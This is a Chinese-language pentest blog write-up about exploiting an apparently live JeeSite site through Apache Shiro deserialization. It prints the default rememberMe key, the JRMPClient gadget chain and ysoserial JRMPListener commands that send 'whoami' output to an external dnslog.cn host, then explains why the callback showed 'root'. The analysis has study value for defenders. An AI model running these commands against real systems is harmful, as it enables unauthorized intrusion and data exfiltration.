PartI: Stay Hungry, Stay Foolish.
PartII: 学的越多,不懂得也就越多。
*2021年 6月30日 星期三 15时30分40秒 CST 前不久,Fofa安全工程师某信正在愉快的网上冲浪,不一会群里丢出了一个惹眼的链接吸引了某信的注意。
http://{ip.addr}:{ip.port}/a/login
芽儿~当时我整个人的是这样的:
/a/login;JSESSIONID=···
jeesite.session.id
梳理一下:
/a/、/f/
…所以这个站就可以直接从Shiro入手来看,老三样:跑密钥 -> 利用链 -> Dnslog
不过跑密钥出了个小插曲,登录路由login处设置rememberMe Cookie
时反包Set-Cookie不显示deleteMe Cookie,具体原因待更新:Different Shiro Framework deserialization analysis ideas,而从上面的特征我们已经可以肯定存在Shiro框架,当然也可以通过对不存在的路由进行Cookie设置来进行验证。
由于上面的原因导致有一些匹配回包来检测shiro框架为逻辑工具就在原地划水不动弹,不慌,总有一些“尖子生”,跑出默认密钥:kPH+bIxk5D2deZiIxcaaaA==
紧接着:
[*] find: JRMPClient can be use
0: JRMPClient
ping `whoami`.x.dnslog.cn
默认加密密钥 -> JRMPClient利用链 -> Shiro反序列化RCE root
多么赏心悦目,一切都是那么地丝滑。
其实在这次渗透的过程中,我对于两个地方存疑:
/a/login
路由配置Shiro对应Cookie后没有返回对应的Set-Cookie,如何实现的?同时我这里查了一些资料供参考
如上图,整张图是我个人对于Java反序列化中对于JRMP利用链的过程理解,从local Attacker
环节开始,具体细节在这里不做展开叙述,其中存在歧义的地方我使用红色部分进行了标记;个人分析存在的问题也是红色部分:
VPS - JRMP
阶段在服务器启动的时候命令为:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "ping `whoami`.x.dnslog.cn"
对应的:
ysoserial.exploit.JRMPListener
利用类、3333
本地JRMP监听端口、CommonsCollections5
Java反序列化利用链以及转发"ping `whoami`.x.dnslog.cn"
命令
再来看另外一张图片:
我们看上面这一张图,重点在于ping root.zj6u6s.dnslog.cn
进程对应的用户同样是低权限用户,也就是说是低权限的用户去运行的`whoami`
这个命令而且输出的是root
,但是从Linux权限的常识来看是不会出现这样的情况的。所以有了以下设想:
ps -ef
可以直接排除,而且细想,若Tomcat用户为root,那么肯定反弹的用户也为root)所以我针对1.1假设进行了实验进行正确型验证:
➜ bin4xin sudo -l
User bin4xin may run the following commands on bin4xin's MacbookPro:
(ALL) ALL
➜ bin4xin (sudo) ping `whoami`.31veg3.dnslog.cn
PING bin4xin.31veg3.dnslog.cn (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.087 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.163 ms
我们可以通过上面的bash信息和下面的dnslog信息返回看到,与sudo用户无关
#是否添加sudo返回都如下:
#dnslog返回记录
bin4xin.31veg3.dnslog.cn 61.132.161.4 2021-07-05 13:44:34
bin4xin.31veg3.dnslog.cn 61.132.161.6 2021-07-05 13:44:34
所以这种假设我们就直接排除了;
"ping `whoami`.x.dnslog.cn"命令
转发前本地机器是否已经执行了whoami
所以导致了受害机器执行的是root开头的命令呢?
JRMP Server Listen: *0.0.0.0:3333
-> 本地机器执行`whoami`
ping root.x.dnslog.cn
。这种情况下来看,实际上也能够说通,而实际上也正是如此,本来打算是在本地跑个Shiro走一整个流程的,但是直到我发现了这个:
➜ bin4xin java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections3 "ping `whoami`.6iep0z.dnslog.cn"
* Opening JRMP listener on 8888
#ysoserial.exploit.JRMPListener利用类监听状态下:
➜ bin4xin ps -ef|grep ping
501 6895 6696 0 2:37下午 ttys004 0:00.54 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections3 ping bin4xin.6iep0z.dnslog.cn
看到java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections3 ping bin4xin.6iep0z.dnslog.cn
进程一切已然清晰;
至此,本章核心阐述完毕。以上